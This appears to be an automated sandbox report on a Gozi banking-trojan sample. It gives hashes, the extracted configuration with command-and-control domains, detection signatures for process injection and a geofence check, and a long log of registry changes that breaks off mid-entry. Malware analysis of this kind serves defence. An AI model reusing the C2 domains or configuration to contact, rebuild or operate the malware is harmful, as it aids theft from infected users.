Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
05-10-2023 16:10
Static task
static1
Behavioral task
behavioral1
Sample
7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe
Resource
win7-20230831-en
General
-
Target
7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6.exe
-
Size
304KB
-
MD5
a3f4c907a088c99a8b7bf5f4280d7d0c
-
SHA1
9a9297bd0af1c008eb7477c1e310ce70c30c6d56
-
SHA256
7665e793186c3c83ec2c2c69adaee5e81ec60d395d8714921352296a5ab88ae6
-
SHA512
106a0a4275a421a6dbef6c43e76921e6eae1aca5f6d960f823763a3127b7ebf826c626da460db82451aba4a94c32c8c198d6871b0a2c6de7d96c937384e92f9b
-
SSDEEP
6144:Oo+91vDNpa6NK56upTHirwtc3nhBvjQOR/Oz2IHTN+:ONDLu4K56u1HqfhBvjQOWz2W
Malware Config
Extracted
gozi
Extracted
gozi
5050
mifrutty.com
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
Extracted
gozi
5050
mifrutty.com
systemcheck.top
-
base_path
/pictures/
-
build
250260
-
exe_type
worker
-
extension
.bob
-
server_id
50
Signatures
-
Dave packer 1 IoCs
Detects executable using a packer named 'Dave' by the community, based on a string at the end.
Processes:
resource yara_rule behavioral2/memory/4060-1-0x0000000001210000-0x000000000121C000-memory.dmp dave -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exedescription pid process target process PID 532 set thread context of 3176 532 powershell.exe Explorer.EXE PID 3176 set thread context of 3752 3176 Explorer.EXE RuntimeBroker.exe PID 3176 set thread context of 3952 3176 Explorer.EXE RuntimeBroker.exe PID 3176 set thread context of 1800 3176 Explorer.EXE cmd.exe PID 3176 set thread context of 4792 3176 Explorer.EXE RuntimeBroker.exe PID 3176 set thread context of 3148 3176 Explorer.EXE RuntimeBroker.exe PID 1800 set thread context of 440 1800 cmd.exe PING.EXE PID 3176 set thread context of 3840 3176 Explorer.EXE cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d5bb9335-2182-4a19 = 9757fca6a6f7d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d5bb9335-2182-4a19 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000776f75a6a6f7d9014644aca6a6f7d9014644aca6a6f7d90107df01000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000045577a812000393333616333363436373830633965313063626238393433326637623033383135333663343866333033633936643764373566616238376638333430373362320000b20009000400efbe45577a8145577a812e0000000000000000000000000000000000000000000000000044ecc900390033003300610063003300360034003600370038003000630039006500310030006300620062003800390034003300320066003700620030003300380031003500330036006300340038006600330030003300630039003600640037006400370035006600610062003800370066003800330034003000370033006200320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000765ab5271000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c39333361633336343637383063396531306362623839343332663762303338313533366334386633303363393664376437356661623837663833343037336232000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000073787579706e657400000000000000007494afe11b8f054b9c6e541b4cdbc2a98d634b959353ee1186887ed7ef0502147494afe11b8f054b9c6e541b4cdbc2a98d634b959353ee1186887ed7ef050214d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003900320036003300380037003000370034002d0033003400300030003600310033003100370036002d0033003500360036003700390036003700300039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cda81468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d51952d7-2cd2-4b97 = "\\\\?\\Volume{6814A8CD-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\ec5cbea91884f063515745489ccab4b7dc7d4cb97b99f61b14439225d8f069cd" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84f5381c-f7c4-46b1 = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dbf03fd0-5b8a-4eda RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c47bdaa-0c1d-442b = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b2b169e-2365-4339 = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d5bb9335-2182-4a19 = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7e13090-4178-4c99 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b2b169e-2365-4339 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d51952d7-2cd2-4b97 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d51952d7-2cd2-4b97 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000061e1a9a6a6f7d901ec7ec6a6a6f7d901ec7ec6a6a6f7d901519e01000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000045577a812000656335636265613931383834663036333531353734353438396363616234623764633764346362393762393966363162313434333932323564386630363963640000b20009000400efbe45577a8145577a812e00000000000000000000000000000000000000000000000000169fbb00650063003500630062006500610039003100380038003400660030003600330035003100350037003400350034003800390063006300610062003400620037006400630037006400340063006200390037006200390039006600360031006200310034003400330039003200320035006400380066003000360039006300640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000765ab5271000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65633563626561393138383466303633353135373435343839636361623462376463376434636239376239396636316231343433393232356438663036396364000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000073787579706e657400000000000000007494afe11b8f054b9c6e541b4cdbc2a990634b959353ee1186887ed7ef0502147494afe11b8f054b9c6e541b4cdbc2a990634b959353ee1186887ed7ef050214d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003900320036003300380037003000370034002d0033003400300030003600310033003100370036002d0033003500360036003700390036003700300039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cda81468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f5aee01d-e8b8-403d = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\71db3c38-7c79-4179 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dfd2a966-e2f4-4099 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84f5381c-f7c4-46b1 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000baf2bca6a6f7d9010a30d7a6a6f7d9010a30d7a6a6f7d901f64405000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000045577a812000653430336335313139613161313964613634383137313864373430386235356237326664323237613935316638313761396435636366336532613931653163310000b20009000400efbe45577a8145577a812e000000000000000000000000000000000000000000000000001273d300650034003000330063003500310031003900610031006100310039006400610036003400380031003700310038006400370034003000380062003500350062003700320066006400320032003700610039003500310066003800310037006100390064003500630063006600330065003200610039003100650031006300310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000765ab5271000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65343033633531313961316131396461363438313731386437343038623535623732666432323761393531663831376139643563636633653261393165316331000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000073787579706e657400000000000000007494afe11b8f054b9c6e541b4cdbc2a991634b959353ee1186887ed7ef0502147494afe11b8f054b9c6e541b4cdbc2a991634b959353ee1186887ed7ef050214d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003900320036003300380037003000370034002d0033003400300030003600310033003100370036002d0033003500360036003700390036003700300039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cda81468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dbf03fd0-5b8a-4eda RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\71db3c38-7c79-4179 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\71db3c38-7c79-4179 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b2b169e-2365-4339 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7e13090-4178-4c99 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9c990cc9-a583-4a06 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dbf03fd0-5b8a-4eda = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f5aee01d-e8b8-403d = "\\\\?\\Volume{6814A8CD-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\933ac3646780c9e10cbb89432f7b0381536c48f303c96d7d75fab87f834073b2" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dfd2a966-e2f4-4099 = "\\\\?\\Volume{6814A8CD-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\5f69dc1a78da3cced25a051fc378e20fdb0b1a91621f380e5d06ba9776026b96" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d51952d7-2cd2-4b97 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a05d01d4-6f2e-4b70 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a05d01d4-6f2e-4b70 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a05d01d4-6f2e-4b70 = "8324" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\7ab7d12f-b1ad-4e2c RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e0000190-598f-41a6 = "\\\\?\\Volume{6814A8CD-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\80e06738354578ffd4356f7359aad68a5f3f3d1c86183e1e7d0c8515d8eb3105" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b2b169e-2365-4339 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d5bb9335-2182-4a19 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d5bb9335-2182-4a19 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d51952d7-2cd2-4b97 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c47bdaa-0c1d-442b RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3c47bdaa-0c1d-442b = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000008ce92da6a6f7d9018ce92da6a6f7d9018ce92da6a6f7d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000045577a812000356636396463316137386461336363656432356130353166633337386532306664623062316139313632316633383065356430366261393737363032366239360000b20009000400efbe45577a8145577a812e0000000000000000000000000000000000000000000000000074eaaa00350066003600390064006300310061003700380064006100330063006300650064003200350061003000350031006600630033003700380065003200300066006400620030006200310061003900310036003200310066003300380030006500350064003000360062006100390037003700360030003200360062003900360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000765ab5271000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c35663639646331613738646133636365643235613035316663333738653230666462306231613931363231663338306535643036626139373736303236623936000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000073787579706e657400000000000000007494afe11b8f054b9c6e541b4cdbc2a98a634b959353ee1186887ed7ef0502147494afe11b8f054b9c6e541b4cdbc2a98a634b959353ee1186887ed7ef050214d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003900320036003300380037003000370034002d0033003400300030003600310033003100370036002d0033003500360036003700390036003700300039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000cda81468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dfd2a966-e2f4-4099 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000_Classes\Local 